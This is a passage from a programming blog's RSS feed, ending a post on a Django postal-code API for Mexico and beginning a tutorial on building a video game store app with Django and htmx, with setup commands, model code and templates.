href=&#34;https://coffeebytes.dev/en/django/mexico-postal-codes-api-with-django/images/Codigo-postal-invalido.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/mexico-postal-codes-api-with-django/images/Codigo-postal-invalido.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Invalid postal code returning an error&#34; width=&#34;960&#34; height=&#34;355&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Invalid postal code returning an error&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Read the short &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/EduardoZepeda/django-postalcodes-mexico&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;official documentation in my github repository&lt;/a&gt;&#xA; for more information.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Do you need to get the data associated with a postal code in Mexico for your Django application? I wrote a small library called &lt;strong&gt;django-postalcodes-mexico&lt;/strong&gt; that downloads postal codes from SEPOMEX (México&amp;rsquo;s Postal Codes official site) and creates an API endpoint that allows you to query a postal code in Mexico and receive the colonias that belong to that postal code, as well as their state and municipality.&lt;/p&gt;&#xA;&lt;p&gt;If you are going to develop a REST API, I have a post with multiple &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;REST API design recommendations&lt;/a&gt;&#xA; that may help you.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Django and htmx, modern web apps without writing JS</title>
      <link>https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/</link>
      <pubDate>Wed, 14 Jul 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/</guid>
      
      <category>django</category>
      
      <category>htmx</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;The other day I was testing a library called htmx, which promises to make web creation much easier, yes, another library, but with the difference that this one doesn&amp;rsquo;t need you to write Javascript (JS) and it also combines quite well with Django. Htmx bases all its operation on writing attributes in your HTML tags, which are responsible for abstracting all the JS that runs behind the scenes. The result is code consisting only of HTML tags and their attributes, with no JS code (well, maybe just a little). No, you don&amp;rsquo;t have to abandon all the JS, don&amp;rsquo;t worry, you can also combine htmx with your favorite libraries and vanilla JS code.&lt;/p&gt;&#xA;&lt;p&gt;And how many kB will you add to my project? Almost nothing, HTMX is quite light, it weighs about 10 kB gzipped or 30 kB minimized and has no dependencies.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/TamanoDeHTMX.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/TamanoDeHTMX.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;HTMX library size. 105 kB normal, 32 kB minimized and 10.8 compressed in gzip.&#34; width=&#34;1031&#34; height=&#34;386&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Htmx allows you to handle AJAX requests, CSS transitions, websockets and events sent from the server on any HTML tag that accepts . All these functionalities can be triggered by a series of triggers such as an element loading, appearing in the viewport, a click, the mouse entering (or exiting), or even events that are triggered every so often without user interaction. In addition to GET and POST requests, HTMX allows PUT, DELETE, PATCH requests, all by modifying HTML tag attributes only.&lt;/p&gt;&#xA;&lt;p&gt;Htmx does not generate HTML, but delegates that task to the server, so instead of having an endpoint with JSON responses we will work with endpoints that will directly generate the HTML code and send it as a response, as if it were SSR. This makes it perfect to combine with the template system that comes integrated in Django.&lt;/p&gt;&#xA;&lt;p&gt;But I guess you want to see what the code looks like right? Take a look at this example taken from the documentation:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-post&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/clicked&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-trigger&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;click&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-target&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#parent-div&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-swap&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;outerHTML&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Click Me!&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;&#xA;&lt;p&gt;When a user clicks on this button, it makes an HTTP POST request to the url /clicked and uses the content of the response to replace the element with the id parent-div in the DOM.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://htmx.org/docs/#introduction&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://htmx.org/docs/#introduction&lt;/a&gt;&#xA;&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/HtmxEsquema.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/HtmxEsquema.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;htmx operation scheme&#34; width=&#34;1200&#34; height=&#34;1300&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Schematic diagram of HTMX operation&lt;/p&gt;&#xA;&lt;h2 id=&#34;django-and-htmx-project-preparation&#34;&gt;Django and htmx project preparation&lt;/h2&gt;&#xA;&lt;p&gt;For this tutorial I have created a github repository, so if you want to save all the boilerplate, you can simply clone the whole project and follow the code as I write it.&lt;/p&gt;&#xA;&lt;p&gt;Remember that if you are not convinced why you should use Django check my post where I explain the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;advantages and disadvantages of Django&lt;/a&gt;&#xA;. If you have no idea how to use Django better start with the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/the-definitive-guide-to-django/&#34;&gt;Django-guide&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Ejecuta esto para no escribir el código&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git clone https://github.com/EduardoZepeda/djangohtmxtest.git&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; djangohtmxtest/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python loaddata videogames&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Datos de inicio de sesión:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user: admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;password: contrasenaNoSegura&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;django-model-and-dependencies-installation&#34;&gt;Django model and dependencies installation&lt;/h3&gt;&#xA;&lt;p&gt;To start, let&amp;rsquo;s create a virtual environment with &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/pipenv-the-virtual-environment-manager-you-dont-know/&#34;&gt;the pipenv virtual environment manager&lt;/a&gt;&#xA;. You can use &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/python-virtualenv-linux-basic-tutorial/&#34;&gt;pip&lt;/a&gt;&#xA;, poetry, conda or whatever you prefer.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s create a project and an app with &lt;em&gt;django-admin&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django-admin startproject djangoHtmx&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django-admin startapp videogameStore&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Enter the &lt;em&gt;videogameStore&lt;/em&gt; folder and create the models we will use&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Create your models here.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GENRES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;HOR&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Horror&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;RPG&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;RPG&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ADV&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Adventure&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Videogame&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    title &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;255&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    description &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TextField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;255&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    genre &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(choices&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;GENRES, max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    price &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DecimalField(max_digits&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt;, decimal_places&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now let&amp;rsquo;s run the migrations and create a super user.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py makemigrations&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py createsuperuser&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Inside the &lt;em&gt;djangoHtmx&lt;/em&gt; folder we will modify the &lt;em&gt;urls.py.&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;We will create urls for the &lt;em&gt;home/&lt;/em&gt; path and then create urls for our app under the &lt;em&gt;videogame/&lt;/em&gt; path.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.urls &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; path, include&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; home&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; videogameStore.urls &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; videogameUrls&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;, home, name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;home&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;admin/&amp;#39;&lt;/span&gt;, admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;urls),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;videogame/&amp;#39;&lt;/span&gt;, include(videogameUrls)),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we create a folder &lt;em&gt;templates&lt;/em&gt; in the root of the project and we are going to create a base template that we will call &lt;em&gt;base.html&lt;/em&gt; and another template, that will inherit from this last one, called &lt;em&gt;home.html&lt;/em&gt;, which we will use in the home view.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkdir templates&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; templates&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch base.html&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch home.html&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;installing-htmx&#34;&gt;Installing htmx&lt;/h2&gt;&#xA;&lt;p&gt;We open the &lt;em&gt;base.html&lt;/em&gt; file and place the following code. Notice how &lt;strong&gt;to use htmx just load it from unpkg&lt;/strong&gt; using a script tag. In this tutorial we are using htmx version 1.4.1.&lt;/p&gt;&#xA;&lt;p&gt;We will keep a very simple structure for the base template, with only the header, body and footer tags&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;html&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;lang&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;en&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;head&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;charset&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;title&lt;/span&gt;&amp;gt;{% block title %}{{ site.name }}{% endblock %}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;title&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 